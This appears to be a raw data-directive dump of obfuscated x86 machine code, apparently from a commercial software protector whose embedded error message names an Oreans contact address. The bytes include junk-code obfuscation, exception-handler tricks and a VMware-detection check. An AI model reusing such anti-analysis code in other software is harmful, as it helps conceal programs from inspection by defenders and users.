		dd 0FC50F9D3h, 5870Fh, 1EBA0000h, 0FF6B5EE8h, 0E9F6FDB5h
		dd 0FE8B6605h, 19E195FFh, 8CBF05E7h, 892AA262h,	0E9F70985h
		dd 82BF6605h, 0C0858D08h, 0B505E9F6h, 0EB8A5075h, 0F6FDB5FFh
		dd 8D8B05E9h, 5E71751h,	19E195FFh, 958B05E7h, 5E71391h
		dd 0F70D8589h, 0EF8A05E9h, 0F6DB858Dh, 0E85005E9h, 0Dh
		dd 8CDE20E0h, 84E8CD6h,	594DDB55h, 0D3B70F7Fh, 0DDD28159h
		dd 0FF1C1ECFh, 0E9F6FDB5h, 25B58905h, 0FF05E716h, 0E719E195h
		dd 11E805h, 0F78E0000h,	0FAA31F73h, 0F8712503h,	4533ACFDh
		dd 8BA4D7FDh, 0E700718Dh, 8F0F5905h, 6,	8B18D29h, 858905E7h
		dd 5E70BE5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	73C35747h, 45B1E130h, 858D4F83h, 5E9F68Fh, 11598D8Bh
		dd 0E85005E7h, 8, 0BCA5F260h, 8BE65AB1h, 17059589h, 0F95905E7h
		dd 0F6FDB5FFh, 0BA6605E9h, 95FF20A2h, 5E719E1h,	7FEA8166h
		dd 1858910h, 8905E9F7h,	0E7282995h, 9E858D05h, 6A05E9F6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0FA74C357h, 32C8DF81h, 6A504FBBh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0C889C355h, 9335F770h, 0EE807C6h, 0F0000000h, 0FE326960h
		dd 0ACB5CCDAh, 2FE754ABh, 159D09B1h, 5A05E719h,	2B5DBD8Bh
		dd 0B5FF05E7h, 5E9F6FDh, 1A79BD8Bh, 95FF05E7h, 5E719E1h
		dd 68C0Fh, 8D290000h, 5E71A3Dh,	0F7058589h, 295705E9h
		dd 0E719C185h, 4685905h, 31000001h, 0E729D9BDh,	95858D05h
		dd 5605E9F7h, 8501505Fh, 5E70E6Dh, 0F899858Dh, 6A05E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0E952B6C3h, 7CBCDA8Eh, 8D890616h, 5E73295h, 6890F50h
		dd 8B000000h, 0E7329D8Dh, 3195FF05h, 105E72Ch, 0E702359Dh
		dd 0FC08505h, 185h, 0BD80F800h,	5EA026Eh, 18850F00h, 0E9000000h
		dd 5, 65C611BEh, 83DA812Fh, 0E9463CB1h,	14DDh, 83D0B70Fh
		dd 0E701FDBDh, 850F0005h, 1Eh, 6E9h, 57F0E600h,	2912CDF3h
		dd 0E7196595h, 18BD8305h, 5EA07h, 5F840Fh, 858D0000h, 5E9F732h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 87C35747h
		dd 0BD958BE1h, 0E905E71Bh, 1481h, 36E9B2B1h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0EDB9C351h, 0D98D8B7Ch, 8905E729h, 0E716718Dh
		dd 1D858D05h, 0B05E9F7h, 0E7318595h, 0CA815005h, 57D9B87Bh
		dd 0F795858Dh, 0B95105E9h, 53305166h, 0BA66505Fh, 0A2B62F4Bh
		dd 1FDBD83h, 0F0005E7h,	4684h, 0A59D8900h, 8D05E711h, 0E9F8BB85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0BC55CB5Fh, 394290C1h, 21E98D8Bh, 9D0105E7h
		dd 5E71AC1h, 0EE9h, 95958B00h, 8D05E715h, 0E9F8A485h, 50D38B05h
		dd 858DD4B5h, 5E9F8F3h,	1BA1BD89h, 815005E7h, 81B27BE2h
		dd 0BD95FF63h, 6605E709h, 0D15CD181h, 8910C483h, 0E7054185h
		dd 6AC08B05h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0A4C7C352h, 13FE9D60h,	8166B0B3h
		dd 8371FAE7h, 0E70C81BDh, 9750005h
		dd 2819BD83h, 740005E7h, 8B535019h, 7D3B8C0h, 85890000h
		dd 5E7047Dh, 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h
		dd 50177400h, 7D3B853h,	85890000h, 5E7047Dh, 0B1829D8Dh
		dd 0D3FF05E9h, 0FE9585Bh, 1C000000h, 0D2BBE0E9h, 9137F2EAh
		dd 839D4F4Fh, 8B661E27h, 8BC08BCFh, 0E70A7195h,	1DBD8105h
		dd 6F05E9F7h, 0F616572h, 9B84h,	61953100h, 0E905E72Bh
		dd 7, 0BE148DA4h, 8D36FBEDh, 0E9F79585h, 858D5005h, 5E9F8D2h
		dd 0F3858D50h, 5005E9F8h, 9BD95FFh, 0C48305E7h,	0A585C60Ch
		dd 4405E732h, 0A3184F68h, 99B5FF96h, 8D05E708h,	0E7392A85h
		dd 8BD0FF05h, 0F3858DD8h, 5005E9F8h, 858DD3FFh,	5E9F71Dh
		dd 95858D50h, 5005E9F7h, 1FDBD83h, 740005E7h, 0BB858D08h
		dd 0EB05E9F8h, 0A4858D06h, 5005E9F8h, 0F8F3858Dh, 0FF5005E9h
		dd 0E709BD95h, 10C48305h, 8E9h,	5410EC00h, 631970CAh, 0F1D58037h
		dd 0B5195FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0EC10F4C3h, 0C181F39Fh, 5C19C7A8h
		dd 0FF25h, 58C0F00h, 0B9000000h, 2DCDF24Bh, 0F05F883h
		dd 6883h, 0EE800h, 0F2A90000h, 0BDC11374h, 770932C2h, 7332FC37h
		dd 6DBD8959h, 0C705E725h, 0E7319D85h, 105h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 5227477Eh, 2C95A3F0h, 1671BD8Bh, 850F05E7h, 6, 31A18D8Bh
		dd 858D05E7h, 5E9F751h,	47E9CF8Bh, 8B000000h, 0FDBD83CBh
		dd 5E701h, 2F840Fh, 0DE90000h, 4000000h, 72300E7Dh, 10548626h
		dd 71C8C08Ch, 0F77C858Dh, 850F05E9h, 6,	820Fh, 0FE90000h
		dd 89000000h, 0E72489B5h, 5E858D05h, 0F05E9F7h,	8589D2BFh
		dd 5E9F791h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0E5C35141h, 9D99303Bh, 81076D7Dh, 53AC46E2h, 0ED9D8929h
		dd 8305E700h, 0E701FDBDh, 850F0005h, 24h, 0E3816660h, 8B608DD5h
		dd 0E725E5B5h, 0CE816605h, 61611678h, 718BD83h,	0F0005EAh
		dd 0B84h, 0F88B6600h, 1108E9h, 0D78B6600h, 3FEE9h, 0E18D0900h
		dd 8B05E711h, 89CB8BC0h, 0E727559Dh, 81BD8305h,	5E70Ch
		dd 0BD830975h, 5E72819h, 50197400h, 0B8C08B53h,	7D4h, 47D8589h
		dd 9D8D05E7h, 5E9B493h,	585BD3FFh, 2819BD83h, 740005E7h
		dd 0B8535017h, 7D4h, 47D8589h, 9D8D05E7h, 5E9B182h, 585BD3FFh
		dd 75BB6660h, 0EF816617h, 0F861CEE1h, 188D0Fh, 13E90000h
		dd 0BF000000h, 0D3A1BD06h, 0BAF552AAh, 7379DA8Dh, 0C20427D9h
		dd 0C08B7873h, 1C1BF66h, 2E6DBD03h, 3F6805E7h, 8A000F00h
		dd 6A006AEEh, 71A5BF00h, 13E91F83h, 44000000h, 0A14F9B2h
		dd 4262D6CAh, 1E9144E3h, 4A8624C6h, 95FF872Ch, 5E713E9h
		dd 1C498D8Bh, 0C08505E7h, 850Fh, 85890000h, 5E9F715h, 4D958960h
		dd 6105E703h, 0CE9006Ah, 42000000h, 6787AF36h, 0DF1DCA3Bh
		dd 6A07BB53h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 4353E798h, 6AE1DA65h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0A0B94136h, 0B0391C3h, 0E732DDBDh, 80006A05h, 6A41F1h
		dd 194D9509h, 858D05E7h, 5E9F8F3h, 5D858952h, 5905E707h
		dd 4D8D8B50h, 6A05E72Bh, 0B77DBA01h, 16A6795h, 60B760F5h
		dd 0F016A61h, 280h, 6851B600h, 0F01FFh,	1FDBD83h, 0F0005E7h
		dd 2A84h, 13E900h, 70690000h, 0B96FF06Eh, 8AFCEF96h, 5379FA11h
		dd 0ACC38D6Dh, 72858DF9h, 2905E9F7h, 0E71749B5h, 0DE905h
		dd 8DFC0000h, 0E9F74885h, 659D8905h, 5005E724h,	1A59958Bh
		dd 6A5005E7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0BB66C352h, 7B23A428h,	0B96653AEh
		dd 0F5A5D1Eh, 0B5FFD2BFh, 5E9F715h, 0F70195FFh,	0C08505E9h
		dd 30850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BFD24C3h, 0E7294995h, 77E905h
		dd 29530000h, 0E7328D85h, 85895905h, 5E9F719h, 0FFFB8B66h
		dd 0E9F719B5h, 81958B05h, 0E805E732h, 0Ah, 0C5E9FBFEh
		dd 0CD9657FDh, 0BF0FCF97h, 95FF5AD7h, 5E70BE5h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 6FC35141h, 2EFAD41Eh
		dd 958B5302h, 5E724E5h,	0FC0855Fh, 1085h, 7E900h, 1C2B0000h
		dd 71D24058h, 12BF668Fh, 0E9106AD4h, 7,	2C1D19h, 839D98FEh
		dd 0E701FDBDh, 840F0005h, 4Ch, 0C467B9FCh, 858D379Dh, 5E9F772h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7DC35040h
		dd 0BB87C32Eh, 25E98A5Bh, 0E9000000h, 14h, 75C11BCFh, 0F40DC726h
		dd 0AE749F17h, 0B885454Bh, 874B80D6h, 0F748858Dh, 0B58905E9h
		dd 5E713F9h, 7ABA6650h,	15B5FFF0h, 8905E9F7h, 0E709CD85h
		dd 0D95FF05h, 8A05E9F7h, 0FC085F0h, 385h, 0C9BF0F00h, 0F7198589h
		dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 9F04E2C3h, 0F40F11Bh, 6AC9BFh, 2C89B589h
		dd 6A05E7h, 0E4E448BAh,	19B5FF17h, 8905E9F7h, 0E72BF1BDh
		dd 595FF05h, 8905E9F7h,	0E732F595h, 1D958905h, 8505E71Ah
		dd 23850FC0h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 24FDC356h, 663B6877h
		dd 0B5FFF98Bh, 5E9F719h, 95FF87B6h, 5E70BE5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 8DC35040h, 9DD59B25h
		dd 0BC32E7C1h, 0FC08594h, 685h,	7FCF8100h, 6A59299Dh, 0D2816600h
		dd 8166AEA7h, 681C00D9h, 80h, 1851BD8Bh, 36A05E7h, 0FE9h
		dd 0DD3E4500h, 9FAFDE55h, 0B0AC8C1Ch, 0E01C5352h, 1269BD8Bh
		dd 6A05E7h, 6ACE8Bh, 6880F53h, 31000000h, 0E7137D8Dh, 685A05h
		dd 60C00000h, 0D8B866F8h, 0BF666163h, 0B5FFF199h, 5E9F791h
		dd 23C9B70Fh, 0E722D98Dh, 0BD95FF05h, 6A05E72Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0E8A9C355h, 0F8831AB6h, 0AD850FFFh, 8B000005h, 0E70C2D8Dh
		dd 0C5BD3305h, 0FF05E728h, 0EA01FF85h, 0FAB70F05h, 1FFBD83h
		dd 0F0205EAh, 3F684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 319C793Dh, 8166F5C9h
		dd 8DBB71E1h, 5AF59F85h, 0B98D2900h, 0FF05E711h, 858DFCD0h
		dd 5AEFF2h, 169BD31h, 0D0FF05E7h, 0A431D981h, 0C08B4E88h
		dd 18958D03h, 0BD8305E7h, 5E70C81h, 83097500h, 0E72819BDh
		dd 19740005h, 0C08B5350h, 7D8B8h, 7D858900h, 8D05E704h
		dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h
		dd 7D8B8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 7E922h, 0A7A80000h, 0B91D149Ah, 52006A54h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h
		dd 0C3524200h, 3633870Bh, 6AC8539Eh, 0C08BB5B6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0CDC35242h, 0BC0EB168h
		dd 6856EF50h, 0F003Fh, 6AF98Bh,	8A006AFCh, 0E995FFECh
		dd 8905E713h, 0E72B8585h, 0CEBF0F05h, 8B66C085h, 158589D0h
		dd 2905E9F7h, 0E712C19Dh, 1FF6805h, 11E9000Fh, 65000000h
		dd 1688801Dh, 87E0C55Ah, 0C878688Eh, 2EFB4599h,	1FDBD83h
		dd 0F0005E7h, 1684h, 858DF800h,	5E9F772h, 218D8589h, 0CE905E7h
		dd 66000000h, 8DAF84B9h, 0E9F74885h, 50F48A05h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 0A6B95F21h
		dd 0E9C63281h, 0Fh, 0B8FA96CAh,	93D35825h, 6948C144h, 0E8DD286Ah
		dd 0Fh,	29ACD3C3h, 2A32FDEEh, 0AD6136ACh, 51F4259Ch, 0B5FF5F5Ah
		dd 5E9F715h, 7E9h, 0D2808700h, 0DA9290B1h, 0F70D95FFh
		dd 0BD8B05E9h, 5E70B8Dh, 0F7198589h, 5B505E9h, 189985C7h
		dd 5E7h, 12E90000h, 0AC000000h,	0A88A3DC3h, 49C28ACFh
		dd 0E9626758h, 0F895C7FEh, 19BD83A1h, 5E9F7h, 197840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0DF54A3C3h, 1441EB00h, 0F18D29D2h, 8D05E727h
		dd 0E9F9F785h, 16A5005h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 7FC35141h, 0C8BFF5B2h, 0FF65CDA6h, 0E9F719B5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 88E6D980h, 0FFE78E0Ch, 0E9F71195h, 0A98D8B05h
		dd 0FF05E706h, 0E9F719B5h, 5AF85205h, 0BE595FFh, 958B05E7h
		dd 5E71D11h, 0F01FF68h,	0D8D8900h, 8305E709h, 0E701FDBDh
		dd 840F0005h, 5Fh, 8DCE8B66h, 0E9F77285h, 9E805h, 2E2A0000h
		dd 8B9C2BB2h, 92DA2EBh,	0E72D818Dh, 48E95F05h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0EF44C351h, 0D5D6B7FAh, 454264AAh, 9810Fh
		dd 0BA600000h, 736C0709h, 0F616160h, 286h, 8DFA8B00h, 0E9F74885h
		dd 0A1858905h, 5005E72Ah, 0B5FFC88Bh, 5E9F715h,	747BC981h
		dd 95FF5722h, 5E9F70Dh,	3F18D89h, 858905E7h, 5E9F719h
		dd 9531BA66h, 0F719B5FFh, 0AE905E9h, 51000000h,	3D30DF44h
		dd 65D6C7E9h, 6674BF7Fh, 95FF6E65h, 5E9F709h, 1FA18D01h
		dd 0B5FF05E7h, 5E9F719h, 11E9h,	1EDB7000h, 0DB6B2868h
		dd 0B56CB88Bh, 17E7CC4Ch, 0B589C178h, 5E7252Dh,	0BE595FFh
		dd 0BF0F05E7h, 0F791E9C8h, 6AFFFFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 75034AC3h
		dd 0F321690h, 885h, 8B0F5600h, 0
		dd 0D99D895Ah, 0FF05E729h, 0EA0262B5h, 69958B05h, 0FF05E715h
		dd 0E7179595h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 84FCD1ABh, 0EE89D33h
		dd 39000000h, 4869269Fh, 0BD657C81h, 0BDA8689Eh, 5D958B63h
		dd 5F05E720h, 31B1858Bh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0A96B66C3h, 0ECBCEA3Ch
		dd 0AE914ABh, 0EC000000h, 0FE6645D2h, 3BD08A6h,	0DF816656h
		dd 0FFE9207Ah, 1000005h, 0E71A0DB5h, 17B58D05h,	6A05E9FAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 30DBC350h, 26A27AF9h, 8B3FE1F6h, 858DF5D0h
		dd 5E9A7A6h, 11E59509h,	0D0FF05E7h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0B6C35545h,	0E8F5D0F9h, 11h
		dd 662B4C1Ah, 15CB9FB4h, 62E49013h, 569254F8h, 5AD68BABh
		dd 6850Fh, 8D8B0000h, 5E72CF1h,	8A60006Ah, 599503CFh, 6105E715h
		dd 0C3B70F60h, 13159D89h, 0FF6105E7h, 0E7170195h, 0D08B5105h
		dd 6AF38B59h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 1A88C350h, 0F55082E0h,	0FF2A5B0h
		dd 680h, 0B98D8B00h, 8D05E719h,	0E9A7A685h, 41958905h
		dd 0FF05E715h, 9D8529D0h, 6A05E722h, 0D1816600h, 95FF89FBh
		dd 5E71701h, 68C0Fh, 95310000h,	5E706B9h, 958BC08Bh, 5E72C71h
		dd 0C81BD83h, 750005E7h, 19BD8309h, 5E728h, 53501974h
		dd 0D9B8C08Bh, 89000007h, 0E7047D85h, 939D8D05h, 0FF05E9B4h
		dd 83585BD3h, 0E72819BDh, 17740005h, 0D9B85350h, 89000007h
		dd 0E7047D85h, 829D8D05h, 0FF05E9B1h, 0B9585BD3h, 7451D621h
		dd 80CBB70Fh, 0C08B09D2h, 0A541CA81h, 0B9663D35h, 0F5507239h
		dd 9503D88Bh, 5E70C25h,	99D8D53h, 8B05E712h, 8B038903h
		dd 43895043h, 0FB9D8D50h, 8B05EA01h, 5B038903h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6AC35747h, 9589BB5Bh
		dd 5E708E5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 5F134AC3h, 0AE87Bh, 0EF6D0000h
		dd 0F29D0C0Dh, 0F7E1BEC0h, 858D59F5h, 5EA01FBh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 13C35040h, 8589C51Bh
		dd 5E716EDh, 0FEB70F50h, 0FC60606Ah, 8E8h, 0B84EFC00h
		dd 0AEE5BC59h, 0FA69BE6Ah, 61594499h, 1209858Dh, 8D8905E7h
		dd 5E72A95h, 0CA816650h, 6AF595h, 0EC02BA66h, 8E9006Ah
		dd 0D0000000h, 0D59A9E5Fh, 686FE1C6h, 1800h, 95FFFC53h
		dd 5E715D5h, 17918531h,	958905E7h, 5E70A81h, 76D95FFh
		dd 9D2905E7h, 5E72EB5h,	262B5FFh, 9E905EAh, 0D3000000h
		dd 57077DFFh, 5E20280h,	179595FFh, 6A05E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 89E5EFC3h
		dd 0E712C99Dh, 0D8D8905h, 8B05E704h, 0E7003995h, 9858D05h
		dd 0FC05E712h, 0E918408Bh, 10h,	8680BB3Eh, 0BB92639Eh
		dd 0C60194A4h, 0F2A94955h, 2C6585C7h, 5E7h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0DFD878C3h, 0EFEA2164h, 0E8B9E281h, 0BD835435h, 5E701FDh
		dd 28840F00h, 66000000h, 8FACE281h, 8C3DD68Bh, 0F000000h
		dd 1DA83h, 0E9816600h, 1DE9D859h, 9000000h, 0E7142995h
		dd 0F1BD2905h, 3D05E72Ch, 96h, 1B9830Fh, 95330000h, 5E711C5h
		dd 0F59F858Dh, 12E8005Ah, 0F5000000h, 33137EFBh, 76680CE2h
		dd 6F599DDDh, 9E6ACF88h, 0E18166BFh, 0FF5F7DFBh, 89BD01D0h
		dd 8D05E700h, 5AEFF285h, 79858900h, 6005E717h, 9858B60h
		dd 0F505E721h, 10E961h,	0B1D40000h, 4DF11EC2h, 2921D587h
		dd 0E5E19C09h, 0FF616AF1h, 39BD8BD0h, 8B05E701h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0F4BF3C4Ch, 0BD8322D9h, 5E70C81h, 83097500h,	0E72819BDh
		dd 19740005h, 0C08B5350h, 0BC6B8h, 7D858900h, 8D05E704h
		dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h
		dd 0BC6B8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h
		dd 0D1858958h, 0E805E729h, 14h,	0DC9F6FA6h, 6D55AC6h, 5EB5B6ABh
		dd 6E0CE8F9h, 4BF0CAD4h, 1479BD89h, 8B5A05E7h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 7498AF01h, 9B774DE1h, 0FFF883F5h, 42850Fh, 9D010000h
		dd 5E7130Dh, 151D85C7h,	5E7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4903BEC3h
		dd 100E9h, 0D5958B00h, 0E905E709h, 45h,	0D162B966h, 0F01F883h
		dd 3885h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0B5CE22BBh, 69AD5CE6h, 0CBB70F45h
		dd 109E9h, 7E900h, 0C94B0000h, 0BA1E9D40h, 0F1C5E998h
		dd 8B66FFFFh, 258D8BFBh, 8B05E700h, 3850FC0h, 66000000h
		dd 0BD83FB8Bh, 5E70C81h, 83097500h, 0E72819BDh,	19740005h
		dd 0C08B5350h, 7DDB8h, 7D858900h, 8D05E704h, 0E9B4939Dh
		dd 5BD3FF05h, 19BD8358h, 5E728h, 53501774h, 7DDB8h, 7D858900h
		dd 8D05E704h, 0E9B1829Dh, 5BD3FF05h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 45CEF2EBh
		dd 0B323DC6Ah, 9E9A9C0h, 8E000000h, 0C7D5259Fh,	737492F2h
		dd 2B858589h, 0C08B05E7h, 81BD23h, 1AE905E7h, 81000002h
		dd 72086CD1h, 0FF858D75h, 8905E9FFh, 0EA01F785h, 61858905h
		dd 0E905E700h, 62h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 1DC35646h, 654AA9B1h,	0AD4AE1BBh, 0CE8h
		dd 51E66000h, 43063DA7h, 7252E92Eh, 858D5A80h, 5E9FE07h
		dd 0C850Fh, 8F0F0000h, 6, 8CC9DA81h, 3DBA42BAh,	40590E51h
		dd 858942B5h, 5EA01F7h,	16718D31h, 346A05E7h, 6E5858Dh
		dd 0FF5005E7h, 0EA01F7B5h, 0FF006A05h, 0E708D995h, 7F88305h
		dd 162840Fh, 8C660000h,	4C3F6DBh, 0FC850Fh, 85C60000h
		dd 5E732A5h, 0B8526856h, 0B5FF9CA8h, 5E70899h, 392A858Dh
		dd 0D0FF05E7h, 68046Ah,	6A000010h, 0FF006A64h, 6A8589D0h
		dd 0C605EA02h, 0E732A585h, 9B684705h, 0FFEC18ACh, 0E70899B5h
		dd 2A858D05h, 0FF05E739h, 8BD0FFD0h, 0A585C6F0h, 4F05E732h
		dd 2F266168h, 6DB5FFC6h, 8D05E72Ah, 0E7392A85h,	8DD0FF05h
		dd 0EA02669Dh, 286A5305h, 85D0FF56h, 0C60075C0h, 0E732A585h
		dd 98684105h, 0FFDB8764h, 0E72A6DB5h, 2A858D05h, 0FF05E739h
		dd 838589D0h, 0C605EA02h, 0E732A585h, 0A4684C05h, 0FF80A4E7h
		dd 0E72A6DB5h, 2A858D05h, 0FF05E739h, 6A9D8BD0h, 8D05EA02h
		dd 8D53045Bh, 0EA026F9Dh, 6A5305h, 9D8BD0FFh, 5EA026Ah
		dd 103C7h, 43C70000h, 20Ch, 0ED85C700h,	5E728h,	6A000000h
		dd 6A006A00h, 6A9D8B00h, 5305EA02h, 0B5FF006Ah,	5EA0266h
		dd 28395FFh, 85C605EAh,	5E732A5h, 0F7976845h, 0B5FF92A5h
		dd 5E71785h, 392A858Dh
		dd 0D0FF05E7h, 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h
		dd 5EA026Ah, 0C43C7h, 6A000000h, 8B006A00h, 0EA026A9Dh
		dd 6A5305h, 266B5FFh, 95FF05EAh, 5EA0283h, 266B5FFh, 95FF05EAh
		dd 5E7076Dh, 95FF006Ah,	5E71701h, 4FCB80B9h, 6660FC59h
		dd 0E881CA8Bh, 2EC70F8Dh, 0BD858D61h, 6A05EA33h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 6087C352h, 1A01958Bh, 0E28105E7h, 7945F01Ch,	0FF645061h
		dd 35h,	0CB8B6600h, 258964h, 89000000h,	0E700399Dh, 2800F05h
		dd 0B2000000h, 9BD8357h, 5E718h, 3A840Fh, 958B0000h, 5E72A51h
		dd 2B8DBD83h, 0F0105E7h, 2785h,	0AC28000h, 683BD80h, 0F0005EAh
		dd 1785h, 39953100h, 0E905E71Ah, 178h, 68B0Fh, 8D890000h
		dd 5E73319h, 880FDB33h,	6, 2CE19529h, 42B505E7h, 9D89C033h
		dd 5E703ADh, 1C49958Bh,	0F4005E7h, 640B073Fh, 58Fh, 0C4830000h
		dd 8BB96604h, 50006A6Ch, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0DE9829FEh, 0FFFFB83h, 0A84h, 0E9D38B00h
		dd 102h, 0E9F9C8B2h, 94h, 2EA5B509h, 840F05E7h,	6, 1A519D89h
		dd 4C8B05E7h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h
		dd 5C8BC3C0h, 0E8550C24h, 0
		dd 0DFED815Dh, 8B05EA33h, 0B883h, 0AF858D00h, 8905EA34h
		dd 0B883h, 0C0335D00h, 518D8BC3h, 6005E70Ah, 9F94B866h
		dd 76C9B953h, 6158015Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0DAC35141h, 2DC92E63h, 0B237442h, 4637B933h
		dd 0F281481Ah, 54F538AAh, 33D5858Dh, 8B5005EAh,	0E717E18Dh
		dd 35FF6405h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F5C35747h
		dd 4AC40B2h, 8964A131h,	25h, 0AB9F900h,	0B8000000h, 4855D704h
		dd 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh
		dd 0FB81ED00h, 564D5868h, 85C70A75h, 5E71C85h, 1, 58F64h
		dd 83000000h, 0B96604C4h, 6A761Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0AB63EDC3h, 9BAA9CBFh
		dd 89C08B06h, 0E7319995h, 81BD8305h, 5E70Ch, 0BD830975h
		dd 5E72819h, 50197400h,	0B8C08B53h, 43Dh, 17758589h, 9D8D05E7h
		dd 5E9B4FAh, 585BD3FFh,	2819BD83h, 740005E7h, 0B8535017h
		dd 43Dh, 17758589h, 9D8D05E7h, 5E9B19Bh, 585BD3FFh, 0C09BD89h
		dd 0B96605E7h, 0C08BF128h, 13AE9h, 400h, 382E3100h, 3535h
		dd 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E657320h, 68742064h
		dd 6F662065h, 776F6C6Ch, 20676E69h, 65646F63h, 6F742073h
		dd 666E6920h, 726F406Fh, 736E6165h, 6D6F632Eh, 6854202Eh
		dd 206B6E61h, 2E756F79h, 0D0A0D0Ah, 2 dup(20202020h), 65727028h
		dd 43207373h, 2B4C5254h, 6E6F2043h, 69687420h, 69772073h
		dd 776F646Eh, 206F7420h, 79706F63h, 206F7420h, 70696C63h
		dd 72616F62h, 20202964h, 0D0A2020h, 65560D0Ah, 6F697372h
		dd 3D20206Eh, 0A732520h, 6568430Dh, 4E496B63h, 203D2020h
		dd 0D0A6425h, 63656843h, 54554F6Bh, 25203D20h, 500D0A64h
		dd 49636F72h, 2020204Eh, 6425203Dh, 72500D0Ah, 554F636Fh
		dd 3D202054h, 0A642520h, 6978450Dh, 204E4974h, 203D2020h
		dd 0D0A6425h, 74697845h, 2054554Fh, 25203D20h, 540D0A64h
		dd 206E6950h, 20202020h, 6425203Dh, 83000D0Ah, 0E7138DBDh
		dd 840F0005h, 12Dh, 0AFB2858Dh,	8D5005E9h, 0E9AF1C85h
		dd 1685005h, 0FF800000h, 0E9AFC295h, 44858D05h,	5005EA35h
